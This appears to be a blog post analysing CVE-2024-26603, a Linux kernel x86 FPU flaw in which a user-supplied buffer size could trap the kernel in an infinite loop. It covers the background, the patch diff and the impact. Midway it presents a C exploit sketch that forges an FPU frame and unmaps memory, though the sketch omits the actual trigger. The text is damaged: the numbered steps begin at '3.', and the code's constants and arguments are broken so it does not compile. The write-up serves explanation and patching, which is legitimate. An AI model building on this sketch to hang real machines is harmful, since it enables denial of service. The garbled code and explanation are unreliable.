A critical vulnerability, tracked as CVE-2024-26603, was recently fixed in the Linux kernel's x86 FPU (Floating Point Unit) code. The issue? Kernel relied on user-provided data for buffer sizes, letting malicious user-space code trick the kernel into a forever loop (DoS). This post details how it worked, why it’s risky, shows code key points, and how the patch closes the hole. References and working concepts are explained simply.

Background: How Linux Handles FPU State

When Linux saves or restores FPU (floating point/math) state—like when swapping processes or returning from a signal—it relies on xsave buffers in user-space. The kernel must ensure these buffers are the right size and fully mapped, or else restoring state (XRSTOR instruction) could fault and crash the process… or the kernel!

The original code trusted a size field—xstate_size—from user memory to decide how much to touch. That was a mistake.

What Happened?

When a process handles a signal (like SIGSEGV, SIGINT), Linux uses a *sigreturn frame* to restore its state, including FPU registers. The size of user buffer the kernel accesses was being set by user-space!

Calls XRSTOR to restore fpstate—which needs more bytes than xstate_size.

3. XRSTOR crashes on the unmapped spot and kernel loops, trying for a readable area but always failing on XRSTOR.

Net Result

The kernel spins in a busy infinite loop, wasting CPU. This is a denial-of-service risk.

Demonstration: Exploiting CVE-2024-26603

Here’s simplified C code to sketch the exploit logic. This is for *educational purposes only* (do not use in production):

#include <signal.h>
#include <sys/mman.h>
#include <ucontext.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

// Define fake frame structure (simplified)
struct _fpstate_fake {
    unsigned int magic;
    unsigned int xfeatures;
    unsigned int xstate_size;
    char buf[1024];
};

void fake_sigreturn_frame() {
    // Allocate enough memory
    struct _fpstate_fake *fp = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
                                    MAP_PRIVATE | MAP_ANONYMOUS, -1, );

    // Fill with legitimate values — trick kernel
    fp->magic = x46505853; // "FPXS"
    fp->xfeatures = xffffffff; // All features bits set
    fp->xstate_size = 128;      // Very small buffer

    // Unmap after xstate_size bytes, so the rest is unmapped
    munmap((char *)fp + fp->xstate_size, 4096 - fp->xstate_size);

    // Fake a sigreturn by assembling frame on stack and triggering signal...
    // Not shown: Would use sigreturn syscall and careful stack trickery.
}

int main() {
    fake_sigreturn_frame(); // This would be called after trapping a signal.
    return ;
}

*Note: Actually triggering the kernel's sigreturn from user-supplied frames is complex & architecture-dependent. This code sketches the core buffer manipulation idea.*

The Fix

The fix is to never trust sizes provided from user-space. Instead, always use the maximum possible buffer size that kernel logic could need—fpstate->user_size.

In kernel commit

-   fault_in_readable((void __user *)buf, fx_sw->xstate_size);
+   fault_in_readable((void __user *)buf, fpstate->user_size);

So, the kernel checks *all* memory it will ever need, not just what user said is enough.

Fix commit:
Stop relying on userspace for info to fault in xsave buffer (kernel git)

Impact

- Exploitability: Unprivileged local users (any process) could lock the kernel into an endless loop, causing a CPU resource DoS.
- No privilege escalation or memory leak is known, but could impact stability for all users on a machine.

PATCH! Upgrade to a kernel with this fix.

- No practical workaround for end-users, since vulnerable code is deep in signal/FPU subsystem.

References

- Linux kernel commit 52c711f9e1a5 ("x86/fpu: Stop relying on userspace for info to fault in xsave buffer")
- LKML Discussion
- CVE-2024-26603 at MITRE
- Understanding XRSTOR and FPU on x86

Conclusion

CVE-2024-26603 is a classic kernel “trust boundary” fail—user-space could trick the kernel into using too-small FPU buffers sparking an infinite loop. The fix was to trust kernel-calculated buffer sizes, never user input. Patches are now in mainline; update your systems soon!

For security researchers, this shows why signal handling and CPU state logic is easy to overlook—but can have real security impact. Always check what you trust from user-space!


*Want more practical Linux kernel analysis? Watch this space!*

Timeline

Published on: 02/26/2024 16:28:00 UTC
Last modified on: 04/17/2024 18:00:07 UTC